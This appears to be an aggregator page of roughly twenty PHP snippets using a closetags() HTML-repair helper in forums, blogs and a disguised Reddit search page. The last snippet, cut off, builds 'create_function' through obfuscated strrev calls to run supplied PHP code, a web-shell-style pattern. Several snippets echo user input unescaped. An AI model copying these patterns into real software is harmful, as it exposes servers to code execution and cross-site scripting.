Esempio n. 1
0
function parsetext($text)
{
    $res = $text;
    // убираем переводы строк внутри тэгов
    do {
        $oldRes = $res;
        $res = preg_replace("/(<[^>]*)[\n\r]/m", '$1 ', $res);
    } while ($res != $oldRes);
    $res = auto_link_text($res);
    $res = strip_tags_attributes($res, array('<strike>', '<s>', '<sup>', '<sub>', '<embed>', '<object>', '<param>', '<p>', '<b>', '<i>', '<br>', '<br/>', '<a>', '<em>', '<font>', '<strong>', '<img>', '<img/>', '<small>', '<big>', '<div>', '<span>'));
    $res = closetags($res);
    $res = redirectExternalLinks($res);
    $res = nl2br($res);
    $res = str_replace(array("\n", "\r"), " ", $res);
    $res = trim($res);
    return $res;
}
Esempio n. 2
0
function tidyRepair($article, $easyset)
{
    if ('com_content' != JRequest::getVar('option')) {
        return;
    }
    if (!$article->introtext && !$article->fulltext) {
        return;
    }
    if (function_exists('tidy_repair_string')) {
        //Tidy Repair Text
        $TidyConfig = array('indent' => TRUE, 'output-xhtml' => true, 'show-body-only' => true, 'wrap' => false);
        $article->introtext = tidy_repair_string($article->introtext, $TidyConfig, 'utf8');
        $article->fulltext = tidy_repair_string($article->fulltext, $TidyConfig, 'utf8');
    } else {
        require_once 'closeTags.php';
        $article->introtext = closetags($article->introtext);
        $article->fulltext = closetags($article->fulltext);
    }
}
Esempio n. 3
0
 //			TODO	deal with attachments here??
 //		}
 $bodies = $webmaillib->get_mail_content($user, $current['accountId'], $_REQUEST['msgid'], true);
 for ($i = 0, $count_bodies = count($bodies); $i < $count_bodies; $i++) {
     if ($bodies[$i]['contentType'] == 'text/html') {
         $bod = $bodies[$i]['body'];
         // Clean the string using HTML Purifier
         require_once 'lib/htmlpurifier_tiki/HTMLPurifier.tiki.php';
         $bod = HTMLPurifier($bod);
         if (preg_match_all('/<[\\/]?body[^>]*>/i', $bod, $m, PREG_OFFSET_CAPTURE) && count($m) > 0 && count($m[0]) > 1) {
             // gets positions of the start and end body tags then substr the bit inbetween
             $bod = substr($bod, $m[0][0][1] + strlen($m[0][0][0]), $m[0][1][1]);
         }
         $bod = strip_tags($bod, '<a><b><i><strong><em><p><blockquote><table><tbody><tr><td><th>' . '<ul><li><img><hr><ol><br><h1><h2><h3><h4><h5><h6><div><span>' . '<font><form><input><textarea><checkbox><select><style>');
         // try to close malformed html not fixed by the purifier - because people email Really Bad Things and this messes up *lite.css layout
         $bod = closetags($bod);
         $bodies[$i]['body'] = $bod;
     } else {
         if ($bodies[$i]['contentType'] == 'text/plain') {
             // reply text
             $smarty->assign('plainbody', format_email_reply($bodies[$i]['body'], $aux['from'], $aux['date']));
             $bodies[$i]['body'] = nl2br($bodies[$i]['body']);
         }
     }
     // else {
     // attachments?
     //}
 }
 array_multisort($bodies);
 // this doesn't do what we need properly but seems to fluke it mostly - TODO a manual re-sort
 $smarty->assign_by_ref('attachs', $attachments);
function cut_text_by_p($str, $limit_words = 200)
{
    /* Cuts a string at $limit number of words,
     * but looking for the next </p> to cut there.
     * */
    // get the paragraphs
    $ps = explode('</p>', $str);
    $i = 0;
    $words = 0;
    $new_str = '';
    while ($words < $limit_words && $i < count($ps)) {
        // COUNTING WORDS FROM A CLEAN STRING
        // conver the linebreaks into spaces
        $s = preg_replace('/\\<br(\\s*)?\\/?\\>/i', ' ', $ps[$i]);
        // strip tags
        $s = strip_tags(trim($s));
        // get the words
        $words += count(explode(' ', $s));
        /* If the last paragraph is not an image or object,
         * put some transparency before saving the paragraph.
         * */
        $new_str .= $ps[$i] . '</p>';
        $i++;
    }
    if (!are_tags_closed($new_str)) {
        $new_str = closetags($new_str);
    }
    return $new_str;
}
Esempio n. 5
0
function FormHelper_SubstrCloseTags($html, $size)
{
    $html = substr($html, 0, $size);
    //Agafem el fragment que necessito.
    $ult_obrir = strripos($html, '<');
    //Miro si algun codi ha quedat tallat
    $ult_amp = strripos($html, '&');
    $ult_pos = $ult_obrir > $ult_amp ? $ult_obrir : $ult_amp;
    //Trec el codi que ha quedat tallat
    if (20 > $size - $ult_pos) {
        $html = substr($html, 0, $ult_pos - 1);
    }
    $html = closetags($html);
    return $html;
}
Esempio n. 6
0
function searchpage($d)
{
    $request = $d["request"];
    $proxyadd = "";
    $proxyform = "";
    if (isset($request["enableproxy"]) && $request["enableproxy"] == "true") {
        $proxyadd = "&enableproxy=" . $request["enableproxy"];
        $proxyform = "<input type=hidden name=enableproxy value=" . $request["enableproxy"] . ">";
    }
    /*
    	if (loggedin()) {
    		$subs="";
    		foreach ($_SESSION["subscribed"] as $sub) {
    			$subs.='<a href="index.php?q='.$sub["url"].'" class="subitem"><span>'.$sub["name"].'</span></a>';
    		}
    		$header='
    				<div id="navbarlinks">
    					<a target=_blank href="http://www.reddit.com/u/'.$_SESSION["username"].'">+'.$_SESSION["username"].'</a>
    					<div id="subtoggle" href="#">
    						<div id="subscribed">
    							'.$subs.'
    						</div>
    						subscribed
    					</div>
    				</div>
    				<div id="navbarmenu">
    					<div id="navbarmenuicon"></div>
    					<div id="navbarmenunotification"></div>
    					<div id="navbarmenuadd"></div>
    					<div id="navbarmenuprofile" tabindex="1">
    						<a href="index.php?action=logout" id="navbarlogout">
    							Logout
    						</a>
    					</div>
    				</div>';
    	} else {
    		$header='<div id="navbarmenu">
    					<div id="navbarmenuicon"></div>
    					<label for="logincheckbox" id="navbarmenubutton">Sign In</label>
    					<input type="checkbox" id="logincheckbox" value="1" style="display:none;">
    					<div id="navbarlogin">
    						<form method="post">
    							<input type="hidden" name="q" value="'.$d["query"].'">
    							<input type="hidden" name="action" value="login">
    							<input type="text" name="username" placeholder="User">
    							<input type="password" name="password" placeholder="Password">
    							<button id="loginbutton" type="submit">Sign In</button>
    						</form>
    					</div>
    				</div>';
    	}*/
    $header = '<div id="navbarmenu">
					<div id="navbarmenuicon"></div>
					<div id="navbarmenubutton">Sign In</div>
				</div>';
    $active = array("", "", "", "", "", "", "", "");
    switch ($d["sub"]) {
        case "/new":
            $active[1] = "active";
            $sublink = "&action=new";
            break;
        case "/rising":
            $active[2] = "active";
            $sublink = "&action=rising";
            break;
        case "/controversial":
            $active[3] = "active";
            $sublink = "&action=controversial";
            break;
        case "/top":
            $active[4] = "active";
            $sublink = "&action=top";
            break;
        case "/gilded":
            $active[5] = "active";
            $sublink = "&action=gilded";
            break;
        case "/promoted":
            $active[6] = "active";
            $sublink = "&action=promoted";
            break;
        case "/wiki":
            $active[7] = "active";
            $sublink = "&action=wiki";
            break;
        default:
            $active[0] = "active";
            $sublink = "&action=hot";
            break;
    }
    $sublink .= $proxyadd;
    echo '
		<!DOCTYPE HTML>
		<head>
			<meta charset="utf-8">
			<title>' . $d["query"] . ' - Cluffle Search</title>
			<link rel="shortcut icon" href="gfx/faviconsmall.png" />
			<style>';
    require "css/searchpage.css";
    echo '</style>
			<script>';
    require "js/jquery-2.1.1.min.js";
    echo '</script>
			<script>';
    require "js/script.js";
    echo '</script>
			<style>
				body {
					background-color:white;
					padding:0;
					margin:0;
					padding-top:172px;
					min-width:980px;
				}
			</style>
		</head>
		<body>
			<div id="navbar">
				<a href="index.php">
					<img id="logo" src="gfx/logo.png"></img>
				</a>
				<form>
					<input type="text" id="searchbox" name="q" value="' . $d["query"] . '" autocomplete=off>
					' . $proxyform . '
					<label for=searchsubmitbutton id="searchbutton">
						<input id="searchsubmitbutton" type="submit" style="display:none;">
					</label>
				</form>
				' . $header . '
			</div>
			<div id="navbar2">
				<a href="index.php?q=' . $d["query"] . $proxyadd . '">
					<div class="navbar2sub ' . $active[0] . '">
						Hot
					</div>
				</a>
				<a href="index.php?action=new&q=' . $d["query"] . $proxyadd . '">
					<div class="navbar2sub ' . $active[1] . '">
						New
					</div>
				</a>
				<a href="index.php?action=rising&q=' . $d["query"] . $proxyadd . '">
					<div class="navbar2sub ' . $active[2] . '">
						Rising
					</div>
				</a>
				<a href="index.php?action=controversial&q=' . $d["query"] . $proxyadd . '">
					<div class="navbar2sub ' . $active[3] . '">
						Controversial
					</div>
				</a>
				<a href="index.php?action=top&q=' . $d["query"] . $proxyadd . '">
					<div class="navbar2sub ' . $active[4] . '">
						Top
					</div>
				</a>
				<a href="index.php?action=gilded&q=' . $d["query"] . $proxyadd . '">
					<div class="navbar2sub ' . $active[5] . '">
						Gilded
					</div>
				</a>
				<a href="index.php?action=promoted&q=' . $d["query"] . $proxyadd . '">
					<div class="navbar2sub ' . $active[6] . '">
						Promoted
					</div>
				</a>
				<a href="index.php?action=wiki&q=' . $d["query"] . $proxyadd . '">
					<div class="navbar2sub ' . $active[7] . '">
						Wiki
					</div>
				</a>
				<img id="cog" src="gfx/cog.png">
			</div>
			<div id="navbar3">
				<div id="resultstats">
					' . $d["resultstats"] . '
				</div>
			</div>
			<div id="results">
				';
    if (empty($d["results"])) {
        $d["results"] = page404();
    }
    foreach ($d["results"] as $r) {
        if (isset($r["strOverwrite"])) {
            $commentgreen = '
						<a href="' . htmlentities($r["strLink"]) . '">' . $r["strTitel"] . '</a><br>
						<a class="resultlink" href="#">' . $r["strOverwrite"] . '</a>
						';
        } else {
            if (isset($r["nsfw"]) && $r["nsfw"]) {
                $nsfw = "[NSFW] ";
            } else {
                $nsfw = "";
            }
            $commentlink = 'index.php?action=groups&comment=' . $r["strComment"];
            $commentstring = $nsfw . $r["numComments"] . ' comments';
            $commentgreen = '
						<a target="_blank" href="' . htmlentities($r["strLink"]) . '">' . $r["strTitel"] . '</a><br>
						<a class="resultlink" target=_blank href="' . $commentlink . '">' . $commentstring . '</a> 
						<span class="resultlink">-</span> 
						<a class="resultlink" target=_blank href="index.php?q=' . $r["strDomain"] . '">' . htmlentities($r["strDomain"]) . '</a>
						';
        }
        echo '
						<div class="resultdiv">
							' . $commentgreen . '
							<br>
							<span class="resulttext">
								' . $r["strCreated"] . str_replace("<a", "<a target='_blank'", closetags($r["strBeschreibung"])) . '
							</span>
						</div>
					';
    }
    if ($d["showNav"]) {
        if (!$d["back"]) {
            //Kein Zurück
            $back = '
					<td>
						<span id="Cl1"></span>
					</td>
					';
        } else {
            $back = '
					<td>
						<a href="' . $d["backlink"] . $sublink . '">
							<span id="Cl2"></span><span id="back">Previous</span>
						</a>
					</td>
					';
            //Zurück
        }
        $toggle = 0;
        $pagenumbers = "";
        foreach ($d["pagelinks"] as $page) {
            if ($toggle == 0 && $page["current"] == 1) {
                $pagenumbers .= '<td id="cur">
									<span class="u"></span><span class="bottomnavtext">' . $page["number"] . '</span>
								</td>';
                $toggle = 1;
            } else {
                if ($toggle == 0) {
                    $pagenumbers .= '<td>
									<a href="' . $page["link"] . $sublink . '"><span class="u"></span><span class="bottomnavtext">' . $page["number"] . '</span></a>
								</td>';
                } else {
                    $pagenumbers .= '<td>
									<a href="' . $page["link"] . $sublink . '"><span class="u"></span><span class="bottomnavtext">' . $page["number"] . '</span></a>
								</td>';
                }
            }
        }
        if ($d["forward"]) {
            $next = '<td>
								<a href="' . $d["forwardlink"] . $sublink . '"><span id="ffle"></span><span id="weiter" style="font-weight:700;">Next</span></a>
							</td>
							';
        } else {
            $next = '<td>
								<span id="ffle" style="cursor:default; width:62px;"></span>
							</td>
							';
        }
        echo '
				<div id="bottomnavwrapper">
					<table id="bottomnav">
						<tbody>
							<tr valign=top>
								' . $back . $pagenumbers . '
								' . $next . '
							</tr>
						</tbody>
					</table>
				</div>';
    } else {
        echo '
				<div id="bottomnavwrapper">
				</div>';
    }
    echo '
			</div>
			<div id="footer">
				<a div="opensource" style="margin-left:135px;">Help</a>
				<a div="opensource">Open Source</a>
				<a div="about">About</a>
				<a target=_blank href="http://www.reddit.com/user/Lutan">Contact</a>
				' . $d["proxyquery"] . '
			</div>
			<div id="help" class="popup" style="display:none;">
	<h2>Help</h2>
	<div class="closebutton">Close</div>
	<p>
		
	</p>
</div>
<div id="opensource" class="popup" style="display:none;">
	<h2>Open Source</h2>
	<div class="closebutton">Close</div>
	<p>
		The whole project is completely open source and available at <a href="http://www.github.com/Lutron/Cluffle">Github</a>.<br>
		If you want to help improving the messy project (it\'s based on PHP), feel free to make a pull request. I\'ll also list everyone helping here.
	</p>
</div>
<div id="about" class="popup" style="display:none;">
	<h2>About</h2>
	<div class="closebutton">Close</div>
	<p>Want to use Reddit without people knowing you are using it? This page provides you with the known Google interface for your Reddit needs.<br><br>
	
	Browse a subreddit by entering it into the box ("/r/internetisbeautiful" or "/r/web_design").<br>
	Search for a term as you would on reddit.<br>
	Press the "I\'m feeling lucky" - button to browse a random subreddit.<br><br>
	
	Cluffle is your stealth mode to avoid things like suspicious coworkers and classmates.<br>
	Reddit is blocked at work? Cluffle also works as a proxy.<br>
	You want the usual Reddit interface while using the proxy? Just go to <a href="http://proxy.cluffle.com" target=_blank>proxy.cluffle.com</a>.
	</p>
</div>
		</body>
	';
}
Esempio n. 7
0
                                <th style="width:130px;">Published at</th>
                                <?php 
if (_is("GR Admin")) {
    ?>
                                    <th style="width: 100px">Status</th>
                                <?php 
}
?>
                                <th style="width:135px;">Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php 
foreach ($blogs as $value) {
    echo '<tr id="blog' . $value->id . '"><td>' . str_replace($content, "<b>{$content}</b>", closetags(sub_str(strip_tags($value->title), 0, 67))) . '</td>';
    echo '<td>' . str_replace($content, "<b>{$content}</b>", closetags(sub_str(strip_tags($value->content), 0, 120))) . '</td><td>' . str_replace($content, "<b>{$content}</b>", $value->username) . '</td><td>' . time_elapsed_string($value->timestamp) . '</td>';
    if (_is("GR Admin")) {
        echo '<td>';
        if ($value->status == 1) {
            echo '<input checked type = "checkbox" class = "statuschanger" data-size = "small" data-onstyle = "success" data-offstyle="danger" value = "' . $value->id . '" >';
        } else {
            echo '<input type = "checkbox" class = "statuschanger" data-size = "small" data-onstyle = "success" data-offstyle="danger"  value = "' . $value->id . '" >';
        }
        echo '</td>';
    }
    ?>

                            <td>
                                <a href="<?php 
    echo site_url('blog/view/' . $value->id);
    ?>
Esempio n. 8
0
                                    </div>
                                    <div class="card-body">
                                        <div class="centre-info" style="margin-bottom: 5px;">
                                            <h4><a href="<?php 
    echo site_url('preachers/preachers_profile');
    ?>
/<?php 
    echo $value->id;
    ?>
"> <?php 
    echo $value->name;
    ?>
</a></h4>
                                        </div>
                                        <p><?php 
    echo closetags(sub_str($value->description, 0, 50));
    if (strlen($value->description) > 50) {
        echo '...';
    }
    ?>
</p>
                                        <div class="clearfix"></div>
                                    </div>
                                </div>
                            </div>
                        </div>

                        <?php 
}
?>
                </div>
Esempio n. 9
0
function appendPreviewArticles($article, $sizeLimit = 350)
{
    $id = $article["id"];
    $title = $article["title"];
    $date = $article["created"];
    $date = utf8_encode(strftime('%d %B %Y', article_time_given_date($article['created'])));
    $author = $article["author"];
    $content = $article["html"];
    $link = $article["slug"];
    $contentText = limitHTMLText($content, $sizeLimit);
    $contentText = closetags(removeLastWord($contentText) . " …");
    $contentText = removeStyleAttribute($contentText);
    echo '<a href="/posts/' . $link . '" class="hidden-link article-link">
                    <div class="inner">
                        <div class="date">' . $date . '</div>
                        <div class="title">' . $title . '</div>
                        ' . $contentText . '
                    </div>
                </a>';
}
        if (!isset($solrFieldNames[$key])) {
            continue;
        }
        $counter2++;
        ?>
		  <p class="col-xs-6"><strong><?php 
        print $solrFieldNames[$key]['field_title'];
        ?>
:</strong><br>&nbsp;&nbsp;
		  <?php 
        if (is_array($value)) {
            foreach ($value as $val) {
                print '<br>' . closetags($val);
            }
        } else {
            print closetags($value);
        }
        ?>
		  </p>
		  <?php 
    }
    //endforeach
    if ($counter2 == 0) {
        //if counter2==0 then we need to hide the 'more' button
        ?>
	    <script>
	    <?php 
        //this script disables the 'more' button if there are no additional items to display
        //we have to use an array of functions because jquery is not loaded yet
        //once the dom is ready, we iterate through this array and execute each function
        //see duss-search.js -> $(document).ready()
Esempio n. 11
0
function replace_attr($content)
{
    $content = preg_replace("/class=\".*?\"/si", "", $content);
    $content = preg_replace("/id=\".*?\"/si", "", $content);
    $content = closetags($content);
    return $content;
}
Esempio n. 12
0
function custom_wp_trim_excerpt($text)
{
    $raw_excerpt = $text;
    if ('' == $text) {
        //Retrieve the post content.
        $text = get_the_content('');
        //Delete all shortcode tags from the content.
        $text = strip_shortcodes($text);
        $text = apply_filters('the_content', $text);
        $text = str_replace(']]>', ']]&gt;', $text);
        $allowed_tags = '<p>,<a>,<em>,<strong>,<b>,<big>,<blockquote>,<br>,<center>,<div>,<span>,<form>,<h1>,<h2>,<h3>,<h4>,<h5>,<h6>,<i>,<ul>,<li>,<ol>,<strike>,<sub>,<sup>,<table>,<td>,<tr>,<th>,<u>';
        /*** MODIFY THIS. Add the allowed HTML tags separated by a comma.***/
        $text = strip_tags($text, $allowed_tags);
        $excerpt_word_count = 70;
        /*** MODIFY THIS. change the excerpt word count to any integer you like.***/
        $excerpt_length = apply_filters('excerpt_length', $excerpt_word_count);
        $excerpt_end = '<span class="read-more">&hellip;<a href="' . get_permalink($post->ID) . '" rel="nofollow">' . ' &lbrack;read more&rbrack;' . '</a></span>';
        $excerpt_more = apply_filters('excerpt_more', ' ' . $excerpt_end);
        $words = preg_split("/[\n\r\t ]+/", $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);
        if (count($words) > $excerpt_length) {
            array_pop($words);
            $text = implode(' ', $words);
            $text = $text . $excerpt_more;
            $text = closetags($text);
        } else {
            $text = implode(' ', $words);
        }
    }
    return apply_filters('wp_trim_excerpt', $text, $raw_excerpt);
}
Esempio n. 13
0
function processContentText($text, $limitTo = null, $limitAppend = "...", $stripParaTags = false)
{
    $text = stripslashes($text);
    if ($stripParaTags) {
        $text = strip_tags($text);
    }
    //else
    //	$text = strip_tags_attributes($text,"<p>,<TextFlow>,<span>,<u>,<a><font>","asdxc,href,letterspacing,align,columnGap");
    if ($limitTo && strlen($text) > $limitTo) {
        $whitespacePosition = strpos($text, " ", $limitTo);
        $text = substr_replace($text, $limitAppend, $whitespacePosition);
        $text = closetags($text);
        // close any open tags (font, etc.)
    }
    return $text;
}
							<?php 
        echo closetags(substr($desc, 0, 600) . '...');
        ?>
							<div>
								<a onClick="change(<?php 
        echo $idC;
        ?>
);" >Llegir més</a>
							</div>
						</div>
						<div id="<?php 
        echo 'C' . $idC;
        ?>
" style="display: none; padding-left:10px; font-size:11px;">
							<?php 
        echo closetags($desc);
        ?>
							<div style="padding-left:10px; font-size:11px;">
								<a onClick="change(<?php 
        echo $idC;
        ?>
);" >Llegir menys</a>
							</div>						
						</div>												
						
						
					</div>
					<div style="clear:both">&nbsp;</div>													
				</div>					
				
				<?php 
Esempio n. 15
0
/**
 * Parse post content into readable data, or return default text
 * @global array
 * @param string $text data to be parsed
 * @param boolean $bbcode show bbcode or not?
 * @return mixed
 */
function parse($text, $bbcode = true)
{
    global $config;
    // Do they allow bbcode or does this post allow bbcode?
    if ($config['bbcode'] && $bbcode) {
        $start = array('/\\[url=("|\'|)(.*?)\\1\\]/i', '/\\[url\\]/i', '/\\[\\/url\\]/i', '/\\[img\\]\\s*(.*?)\\s*\\[\\/img\\]/is', '/\\[colou?r=("|\'|)(.*?)\\1\\](.*?)\\[\\/colou?r\\]/is', '/\\[quote=(&quot;|"|\'|)(.*?)\\1\\]\\s */i', '/\\[qoute=(&quot;|"|\'|)(.*?)\\1\\]\\s */i', '/\\[quote\\]\\s */i', '/\\[qoute\\]\\s */i', '/\\s*\\[\\/quote\\]\\s */i', '/\\s*\\[\\/qoute\\]/i', '/\\[code\\][\\r\\n]*(.*?)\\[\\/code\\]/is');
        $end = array('[url=$2]', '[url]', '[/url]', '[img]$1[/img]', '[color=$2]$3[/color]', '[quote=$1$2$1]', '[quote=$1$2$1]', '[quote]', '[quote]', '[/quote]' . "\n", '[/quote]' . "\n", '[code]$1[/code]' . "\n");
        // Replace the non needed characters.
        $text = preg_replace($start, $end, $text);
        // Html close tags edited to work for bbcode
        $text = closetags($text);
        // Lets make sure the code doesn't get obscured
        if (strpos($text, '[code]') !== false && strpos($text, '[/code]') !== false) {
            list($inside, $outside) = split_text($text, '[code]', '[/code]');
            $outside = array_map('ltrim', $outside);
            $text = implode('<">', $outside);
        }
        // Quoting
        if (strpos($text, 'quote') !== false) {
            $text = str_replace('[quote]', '<blockquote><div class="quotebox"><div>', $text);
            $text = preg_replace('/\\[quote=(&quot;|"|\'|)(.*)\\1\\]/seU', '"<blockquote><div class=\\"quotebox\\"><h4>".str_replace(array(\'[\', \'\\"\'), array(\'&#91;\', \'"\'), \'$2\')." wrote:</h4><div class=\\"text\\">"', $text);
            $text = preg_replace('/\\[\\/quote\\](\\s *)?/i', '</div></div></blockquote>', $text);
        }
        // Basic BBCodes
        $pattern = array('/\\[b\\](.*?)\\[\\/b\\]/s', '/\\[i\\](.*?)\\[\\/i\\]/s', '/\\[u\\](.*?)\\[\\/u\\]/s');
        $replace = array('<strong>$1</strong>', '<em>$1</em>', '<u>$1</u>');
        // This thing takes a while! :)
        $text = preg_replace($pattern, $replace, $text);
        // Do we allow urls?
        if ($config['bbcode_url']) {
            $pattern = array('/\\[url\\]([^\\[]*?)\\[\\/url\\]/e', '/\\[url=([^\\[]*?)\\](.*?)\\[\\/url\\]/e');
            $replace = array('url_tag(\'$1\')', 'url_tag(\'$1\', \'$2\')');
            $text = preg_replace($pattern, $replace, $text);
        }
        // Color
        $text = preg_replace("/\\[color=([a-zA-Z]*|\\#?[0-9a-fA-F]{6})]/s", '<span style="color: \\1">', $text);
        $text = preg_replace("/\\[\\/color\\]/s", '</span>', $text);
        // Do we allow images?
        if ($config['bbcode_image']) {
            $text = preg_replace('/\\[img\\]((ht|f)tps?:\\/\\/)([^\\s<\\"]*?)\\.(jpg|jpeg|png|gif)\\[\\/img\\]/s', '<img class="p-image" src="\\1\\3.\\4\\" />', $text);
        }
        // If we split up the message before we have to concatenate it together again (code tags)
        if (isset($inside)) {
            $outside = explode('<">', $text);
            $text = '';
            $num_tokens = count($outside);
            for ($i = 0; $i < $num_tokens; ++$i) {
                $text .= $outside[$i];
                if (isset($inside[$i])) {
                    $text .= '<div class="codebox"><h4>Code:</h4><div class="scrollbox"><pre>' . $inside[$i] . '</pre></div></div>';
                }
            }
        }
    }
    // Return base text!
    if (!$bbcode) {
        return $text;
    }
    // Return a fully parsed post / other
    return clickable(stripslashes(nl2br(str_replace(array('\\r\\n', '\\r', '\\n'), "<br />", html_entity_decode($text)))));
}
Esempio n. 16
0
/**
 * Limit a given htmltext to a given number of characters without removing html tags
 * @param $htmlText
 * @param int $limit
 */
function limitHTMLText($htmlText, $limit = 350, $removeLinkElements = true)
{
    //First removing videos, it can cause problems.
    $iframesMatched = [];
    $regex = '(<iframe .*\\/iframe>)';
    preg_match($regex, $htmlText, $iframesMatched);
    // We're going to save the first to put it as an article header
    $htmlText = preg_replace($regex, '', $htmlText);
    $htmlText = preg_replace('(videodetector)', '', $htmlText);
    if (count($iframesMatched) > 0) {
        $iframesMatched = $iframesMatched[0];
    } else {
        $iframesMatched = "";
    }
    if ($removeLinkElements) {
        $htmlText = strip_single_tag($htmlText, "a");
    }
    $str = substr($htmlText, 0, $limit);
    //$limit first chars of $htmlText, tags included
    $strWithoutHTMLTags = strip_tags($str);
    //Removing tags, calculating length
    $i = strlen($str);
    while (strlen($strWithoutHTMLTags) < $limit && $i < strlen($htmlText)) {
        //If length not enough and if there is still some text to add : adding chars
        $str .= $htmlText[$i];
        $strWithoutHTMLTags = strip_tags($str);
        //Removing tags for calculating length of the text only
        $i++;
    }
    $str .= "...";
    $str = closetags($str);
    $str = "<div class='videodetector'>" . $iframesMatched . "</div>" . $str;
    return $str;
}
 function parseAFD_Content()
 {
     $GLOBALS['log'] .= "<br/> <span class='startCall'> ****************** Call ParseAFD_OtherComment->parseAFD_Content() <a target='_blank' <a href='getAFDHtmlByID.php?id=" . $this->afd->AFDID . "#" . $this->afd->AFDTitleID . "'>" . $this->afd->AFDTitle . "</a> </span>";
     try {
         if (!$this->afd) {
             throw new Exception('this->afd is empty!');
         }
         //is allowed to parse the endresult details
         if ($this->afd->flag_DoNotParse != 1) {
             $parse_otherComment = 0;
             $parse_otherComment_User = 0;
             $otherComment_Total = 0;
             $GLOBALS['log'] .= closetags($this->otherComment_Html);
             $this->distinguishComments = new DistinguishComments($this->otherComment_Html, $this->debateDate->url);
             //Update AFD table
             $this->afd->otherComment_CounterTime = $this->distinguishComments->condition_time;
             $this->afd->otherComment_CounterDate = $this->distinguishComments->condition_date;
             $this->afd->otherComment_CounterUTC = $this->distinguishComments->condition_UTC;
             $this->afd->otherComment_CounterUserNormal = $this->distinguishComments->condition_UserID1;
             $this->afd->otherComment_CounterUserTalk = $this->distinguishComments->condition_UserID2;
             $this->afd->otherComment_CounterUserNew = $this->distinguishComments->condition_UserID3;
             $this->afd->otherComment_CounterUserIP = $this->distinguishComments->condition_UserID4;
             $this->afd->parse_otherComment = $this->distinguishComments->distinguishPercentage;
             $this->afd->parse_otherComment_User = $this->distinguishComments->distinguishPercentage_User;
             $this->afd->updateAFD_OnlyOtherComment_byAFDID();
             //clear the comment table to remove the previous records to prevent dublication
             //also if there was previous mistake it make show the mistake does not effect over the quality of data
             Comment::removedAllComment_ByAFDID($this->afd->AFDID);
             //set the condition to insert into comment table
             $GLOBALS['log'] .= "<hr style='border: 0; border-top: 1px solid gray;'/>";
             //set the (other)comment table
             for ($i = 0; $i < count($this->distinguishComments->array_time); $i++) {
                 $current_comment_Html = $this->distinguishComments->array_time[$i];
                 $current_comment_UserCheck = $this->distinguishComments->array_UTC_UserCheck[$i];
                 //$comment_User and $comment_DateTime are "", this is due to further development
                 $comment = new Comment($this->afd->AFDID, $this->afd->AFDTitleID, $this->afd->debateDateListID, $current_comment_Html, "", "", "");
                 $GLOBALS['log'] .= "<table border='1'><tr><td>";
                 $signature = Signature::parse($current_comment_Html);
                 $GLOBALS['log'] .= "</td></tr></table>";
                 $beforeSignature = $signature->initialSentance;
                 $debate_included = $this->check_debate_included($beforeSignature);
                 $bBlock = $this->check_Comment_bBlock($beforeSignature);
                 $comment->AFDTitle = $this->afd->AFDTitle;
                 $comment->articleID = $this->afd->articleID;
                 $comment->comment_UserCheck = $current_comment_UserCheck;
                 //liligago need to write for comment such as delete, keep and etc.
                 $comment->comment = $bBlock[1];
                 $comment->comment_User = $signature->userID;
                 $comment->comment_UserPosition = $signature->userID_StartPos;
                 $comment->comment_UserTitle = $signature->userTitle;
                 $comment->comment_UserURL = $signature->userURL;
                 $comment->comment_UserURLType = $signature->userURLType;
                 $comment->comment_Date = $signature->date;
                 $comment->comment_Time = $signature->time;
                 $comment->comment_DateTime = date('Y-m-d H:i:s', strtotime($signature->date . " " . $signature->time));
                 $comment->comment_Note = $bBlock[2];
                 $comment->comment_ExtraNote = $debate_included[1];
                 if ($bBlock[0] == 1 && $debate_included[0] == 1) {
                     $comment->comment_Type = 1;
                 } else {
                     if ($bBlock[0] == 1) {
                         $comment->comment_Type = "1Error";
                     } else {
                         if ($debate_included[0] == 1) {
                             $comment->comment_Type = "Flag_Text";
                         } else {
                             $comment->comment_Type = 0;
                         }
                     }
                 }
                 $comment->comment_Type2 = $bBlock[3];
                 if ($this->distinguishComments->distinguishPercentage >= 80) {
                     $comment->flag_DoNotVisualize_Comment = 0;
                 } else {
                     $comment->flag_DoNotVisualize_Comment = 1;
                 }
                 $comment->distinguishPercentage = $this->distinguishComments->distinguishPercentage;
                 //if(!empty($comment->comment_Note))
                 //    $GLOBALS['log'] .="<br/><span class='percentage'> Comment Note:</span><br/> ".strip_tags($comment->comment_Note);
                 if (strlen($comment->comment_Type) == strlen("Flag_Text")) {
                     $GLOBALS['log'] .= "<br/><span class='bad'> Flag_Text</span>";
                 }
                 //update the comment table
                 $comment->update_Comment();
                 $GLOBALS['log'] .= "<hr style='border: 0; border-top: 1px solid #FF3339;'/>";
             }
         } else {
             $GLOBALS['log'] .= "<br/><span class='startCall'> By pass by flag_DoNotParse = 1.</span>";
         }
     } catch (Exception $e) {
         echo 'Caught exception: ', $e->getMessage(), "\n";
     }
     $GLOBALS['log'] .= "<br/><span class='endCall'>**** End Called ParseAFD_OtherComment->parseAFD_Content()*******************</span>";
 }
Esempio n. 18
0
}
?>
</div>						
        	</div>
        	<div class="df" style="width:330px;">
        	
        		<script>        		
        			function change(idC){ $(".C"+idC).toggle(); }
        		</script>        	   	     
        					
        		<div class="<?php 
echo 'C' . $idC;
?>
" style="padding-left:10px; font-size:11px;">
        			<?php 
echo closetags(substr($desc, 0, 600) . '...');
?>
        			<div>
        				<a href="" onClick="change(<?php 
echo $idC;
?>
); return false;" >Llegir més</a>
        			</div>
        		</div>
        		<div class="<?php 
echo 'C' . $idC;
?>
" style="display: none; padding-left:10px; font-size:11px;">
        			<?php 
echo $desc;
?>
Esempio n. 19
0
                                        <td><?php 
    echo date(FORMAT_DATE, strtotime($value->start_date));
    ?>
</td>
                                        <td><?php 
    echo date(FORMAT_DATE, strtotime($value->end_date));
    ?>
</td>
                                        <td><?php 
    echo closetags(substr($value->address, 0, 45));
    echo strlen($value->address) > 45 ? "..." : '';
    ?>
</td>
                                        <td>
                                            <?php 
    echo closetags(substr($value->description, 0, 45));
    echo strlen($value->description) > 45 ? "..." : '';
    ?>
                                        </td>
                                        <?php 
    if (_is("GR Admin")) {
        ?>
                                            <td><?php 
        echo $value->count;
        ?>
</td>

                                            <?php 
    }
    ?>
                                        <td>
Esempio n. 20
0
    error_reporting(7);
    $phpcode = trim($phpcode);
    if ($phpcode) {
        if (!$prgm('/<\\?/si', $phpcode)) {
            $phpcode = "<?PHP\n\n{$phpcode}";
        }
        if (!$prgm('/\\?>/si', $phpcode)) {
            $phpcode .= "\n\n?>";
        }
        $f = strrev(strrev("on") . "itc" . strrev("e_fun") . "tae" . "rc");
